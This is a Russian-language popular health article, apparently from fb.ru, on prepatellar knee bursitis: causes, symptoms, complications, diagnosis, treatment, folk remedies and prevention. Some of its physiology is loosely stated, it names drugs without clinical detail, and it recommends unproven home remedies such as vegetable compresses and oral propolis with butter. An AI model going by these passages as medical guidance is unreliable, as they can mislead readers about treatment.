В Международной классификации болезней МКБ-10 препателлярный бурсит числится под кодом М70.4. При таком заболевании нарушается естественное движение жидкости в околосуставной сумке. Образуется экссудат — жидкость, выделяющаяся из кровеносных сосудов во время воспаления. В жидкое содержимое может попасть инфекция, что способствует воспалительному процессу.

Иммунная система начинает борьбу с инфекцией, к месту воспаления направляется большое количество лимфоцитов — защитных клеток организма. Приток лимфы вызывает отёк, что является одним из основных симптомов препателлярного бурсита коленного сустава. Фото, представленное выше, свидетельствует о том, насколько сильно выраженной может быть отёчность колена. Из-за давления лимфы на соседние ткани и корешки нервов возникает боль в колене. Со временем в области сустава может образоваться нагноение, поэтому бурсит легче лечить в начале его развития.

Почему возникает препателлярный бурсит?

Чаще всего воспаление околосуставной сумки происходит из-за резкого удара коленом о твёрдую поверхность. Риску развития препателлярного бурсита подвержены люди, ведущие активный образ жизни. Но это не единственная причина воспаления во внутрисуставной сумке. Можно выделить следующие причины возникновения бурсита:

• частые ушибы колена;
• ползание и стояние на коленях во время выполнения работы (например, бурсит часто встречается у кровельщиков, укладчиков паркета, чистильщиков ковров, сантехников);
• прямое попадание инфекции в сустав через царапины и раны;
• инфекционные заболевания — бруцеллез, туберкулез, гонорея, сифилис (эти патологии осложняются нагноением внутри бурсы);
• нарушение обмена веществ (сахарный диабет, ожирение, подагра);
• аутоиммунные болезни (ревматоидный артрит, системная красная волчанка).

Но какой бы ни была причина воспаления, признаки бурсита начинают проявляться после травмы колена. Иногда это может быть незначительный ушиб, но даже небольшое повреждение может спровоцировать развитие воспаления. Если у больного выявлен препателлярный бурсит коленного сустава, симптомы и лечение будут зависеть от формы болезни и наличия инфекционного процесса.

Признаки острой формы болезни

Острый препателлярный бурсит возникает неожиданно, симптомы нарастают в течение нескольких дней. Болезнь характеризуется следующими проявлениями:

• Появляется резкая боль в надколенной чашечке. Человек не может опираться на колени, любое прикосновение к области воспаления вызывает болезненные ощущения.
• Возникает сильный отёк в области коленной чашечки с покраснением кожи.
• Движения в больном суставе ограничены.
• Повышается температура тела, ощущается общее недомогание.
• Боль усиливается при прощупывании области воспаления.

Признаки хронической формы болезни

При отсутствии адекватного лечения острый бурсит переходит в хроническую форму. Хронизация воспалительного процесса может произойти при долгом давлении на коленный сустав и у людей преклонного возраста. Клинические признаки воспаления немного изменяются. По-прежнему сохраняются боль, покраснение и отечность коленного сустава. Становятся толще стенки бурсы, из-за этого область сустава может увеличиться в размерах в несколько раз. Появляется ощущение комков внутри коленной чашечки из-за образования складок на стенке околосуставной сумки.

Признаки гнойного бурсита

Если во внутрисуставную сумку попадает инфекция, то возникает нагноение внутри бурсы. Симптомы болезни становятся гораздо тяжелее.

• Резко поднимается температура, общее самочувствие больного ухудшается.
• Кожа в области сустава становится горячей на ощупь, резко выражено покраснение.
• Ощущается боль и пульсация внутри сустава.

К каким последствиям может привести бурсит?

Нагноившийся препателлярный бурсит требует безотлагательного лечения, иначе абсцесс может распространиться на другие ткани или прорваться самостоятельно. Это ведёт к осложнениям:

• Если гнойник прорывается в кровеносный сосуд, может возникнуть заражение крови — сепсис.
• При распространении воспаления и нагноения на близлежащую кость может начаться остеомиелит.
• Если гнойное воспаление распространяется на окружающие ткани и лимфоузлы, возникает флегмона и лимфаденит.
• Гнойное содержимое может попасть из бурсы непосредственно в сустав. Тогда возникает тяжелая форма гнойного артрита.
• На коже образуются свищи. Это каналы с гнойным содержимым, которые появляются после самостоятельного прорыва абсцесса в бурсе.
• При длительном препателлярном бурсите коленного сустава конечность может частично утратить двигательную функцию.

Как протекает бурсит в детском возрасте

Маленькие дети не подвержены препателлярному бурситу. Их вес слишком мал, и, когда ребенок падает на колени, удар получается незначительным. Дети до года крайне редко заболевают и инфекционным бурситом, так как каждый малыш имеет иммунитет, переданный от матери. Возможный путь заболевания бурситом у детей — это травмы и переломы колена. Но у ребёнка обычно гибкие кости, и переломы быстро срастаются. Бурсит может начаться у маленьких детей лишь тогда, когда помощь при переломе колена была оказана слишком поздно.

А вот подростки довольно часто болеют бурситом. Нередко воспаление бурсы наблюдается у мальчиков пубертатного возраста, которые любят активный образ жизни и усиленно занимаются спортом. Чаще всего это происходит после травм во время тренировок. Есть и другая причина заболевания подростков бурситом. В пубертатный период дети быстро растут. Иногда рост суставов отстает от общего роста организма. И тогда у подростков начинаются проблемы с суставами, в том числе и бурсит коленного сустава.

Диагностика заболевания

Обычно диагноз не представляет трудностей для врача из-за характерной картины заболевания. Отёк и покраснение в области коленной чашечки заметны уже при наружном осмотре. Однако иногда бывает необходимо отличить препателлярный бурсит от других болезней и травм области суставов: артроза, синовита, остеомиелита, разрыва сухожилия. Тогда врач назначает дополнительные методы обследования:

• рентген колена;
• УЗИ коленного сустава;
• МРТ;
• прокол бурсы с целью исследования суставной жидкости.

Это поможет оценить состояние околосуставной сумки, окружающих тканей и костей, чтобы по результатам исследований вынести диагноз и назначить лечение.

Как лечить неинфекционный бурсит?

Лечение препателлярного бурсита неинфекционного происхождения, как правило, консервативное. Пункцию делают, только если в бурсе накопилось много крови после травмы. Вопрос о необходимости проведения этой процедуры должен решать лечащий врач, так как существует небольшой риск инфицирования.

На первом этапе необходимо обеспечить покой для больной конечности. Область сустава плотно перевязывают бинтом, при необходимости накладывают компрессы. При болях назначают анальгетики. При сильных болях делают инъекции «Преднизолона» в суставную сумку. Лечение острой формы бурсита занимает около 7-10 дней.

Как лечить хронический бурсит колена?

При лечении препателлярного бурсита коленного сустава в хронической форме назначают противовоспалительные нестероидные препараты: «Диклофенак», «Найз», «Нимесил», «Ибупрофен».

Применяют физиотерапевтические процедуры:

• массаж;
• электрофорез;
• ЛФК;
• магнитотерапию;
• ультразвуковую терапию;
• лечение лазером.

Если в бурсе накапливается воспалительный экссудат, то проводят пункцию.

Лечение гнойного бурсита

Если бурсит имеет инфекционное происхождение и уже произошло нагноение, то проводят дренаж полости. Толстой иглой делают пункцию и откачивают гнойное содержимое. Полость околосуставной сумки промывают растворами антибиотиков и антисептиков. После проведения этой процедуры больной конечности показан покой.

Назначают курс антибактериальных препаратов широкого спектра действия. Продолжительность лечения антибиотиками составляет около 1-3 недель. Вместе с антибактериальными препаратами врач выписывает глюкокортикостероиды. Если больного беспокоят признаки интоксикации организма (головная боль, тошнота, рвота, температура), то ставят капельницы с растворами хлорида натрия, «Перфторана», «Рингера». После удаления гноя проводят курс лечения глюкокортикоидными препаратами и физиотерапевтическими процедурами.

Операция

Является радикальным методом оперативное лечение препателлярного бурсита коленного сустава. Сделать надрез и удалить бурсу необходимо в том случае, если из-за сильной боли человек теряет возможность ходить и обслуживать себя. Это значит, что стенки околосуставной сумки утолщены настолько, что бурса больше не может обеспечивать скольжение сустава. После операции пациент в течение 3-5 дней носит на колене специальный фиксатор. Затем врач назначает курс лечебной физкультуры. Обычно после операции человек в течение месяца возвращается к обычному образу жизни. Опираться на больное колено можно через 2-3 месяца.

Народные методы лечения бурсита

Домашние способы лечения могут применяться при бурсите как дополнительная терапия. Перед использованием средств народной медицины следует проконсультироваться с врачом. При бурсите могут помочь компрессы из овощей. Полезно чередовать компрессы из картофеля, свеклы и капусты. Овощи нужно прикладывать к больному суставу на ночь. В первую ночь на больное место накладывают несколько разрезанных сырых картофелин, накрывают пищевой пленкой и забинтовывают. На вторую ночь нужно повторить процедуру со свеклой, а на третью — с капустой.

Можно добавить в воду для принятия ванны отвар сосновой хвои, шишек и веток. Все ингредиенты нужно прокипятить 30 минут в воде, а затем настоять отвар в течение 24 часов. Готовый экстракт должен быть коричневого цвета. Отвар добавляют в воду и 20 минут принимают ванну. Понадобится около 1,5 литра экстракта. При бурсите полезно употреблять внутрь смесь прополиса и сливочного масла. Нужно смешать компоненты в равных частях. Состав принимают по 1 чайной ложке 3 раза в день. Лучше употреблять средство из прополиса за 1 час до принятия пищи.

Как предотвратить заболевание?

Чтобы не допустить развития препателлярного бурсита, нужно беречь колено от чрезмерных нагрузок и травм. Особенно это касается тех, кто активно занимается спортом. Каждую тренировку нужно начинать с разминки. Если во время спортивных занятий есть риск повреждения колена, то нужно защищать сустав специальными приспособлениями (наколенниками). Это поможет избежать тяжелых травм и осложнений в виде препателлярного бурсита. На фото выше можно увидеть одно из таких защитных приспособлений для колена. При повреждениях кожных покровов необходимо как можно скорее обрабатывать ранки и ссадины дезинфицирующими составами и накладывать повязки. Это поможет избежать проникновения инфекции в околосуставную сумку. Только бережное отношение к суставам и своевременное лечение травм помогут избежать бурсита.

fb.ru

Прочтите обязательно другие статьи:

Ревматизм что это такое Боли в спине в области поясницы лечение Артрит артроз симптомы Народная медицина при подагре Анализы на артрит и артроз Санатории для лечения артроза коленного сустава Лечение эпикондилита локтевого сустава Боли при остеопорозе позвоночника